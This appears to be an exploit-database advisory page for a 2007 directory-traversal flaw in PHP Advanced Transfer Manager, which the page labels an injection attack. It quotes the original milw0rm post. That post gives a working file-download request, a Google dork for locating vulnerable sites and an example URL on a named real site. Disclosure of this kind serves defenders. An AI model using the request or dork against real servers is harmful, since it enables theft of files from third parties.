Injection Attack in PHP Advanced Transfer Manager (phpatm)

vendor:

PHP Advanced Transfer Manager (phpatm)

by:

Ali.Mohajem

7.5

CVSS

HIGH

Injection Attack

CWE

Product Name: PHP Advanced Transfer Manager (phpatm)

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Injection Attack in PHP Advanced Transfer Manager (phpatm)

The PHP Advanced Transfer Manager (phpatm) is vulnerable to an injection attack. This can be exploited by sending a specially crafted request to the 'index.php' file with the 'action' parameter set to 'downloadfile' and the 'directory' parameter set to '../'. This allows an attacker to download arbitrary files from the server.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of phpATM or implement proper input validation and sanitization.

Source

Exploit-DB raw data:

******************************************************************************************
download page in : http://phpatm.free.fr/
 
bug in : phpatm
injection attack :
 index.php?action=downloadfile&filename=index.php&directory=../&
 
Dork in google : "powered by php advanced transfer manager"
 
example : http://www.furytech.net/phpATM_130/index.php?action=downloadfile&filename=index.php&directory=../
*******************************************************************************************
************************************************************************************
found bug by : Ali.Mohajem
Email : Ali.Mohajem@Yahoo.com
Website : wWw.Shayatin-team.com
www.mohajem.net
www.mohajem.org
special tnx : fireman - dr.trojan-L0rd-Samir-s4rem-and all iranian hackers
*************************************************************************************

# milw0rm.com [2007-05-13]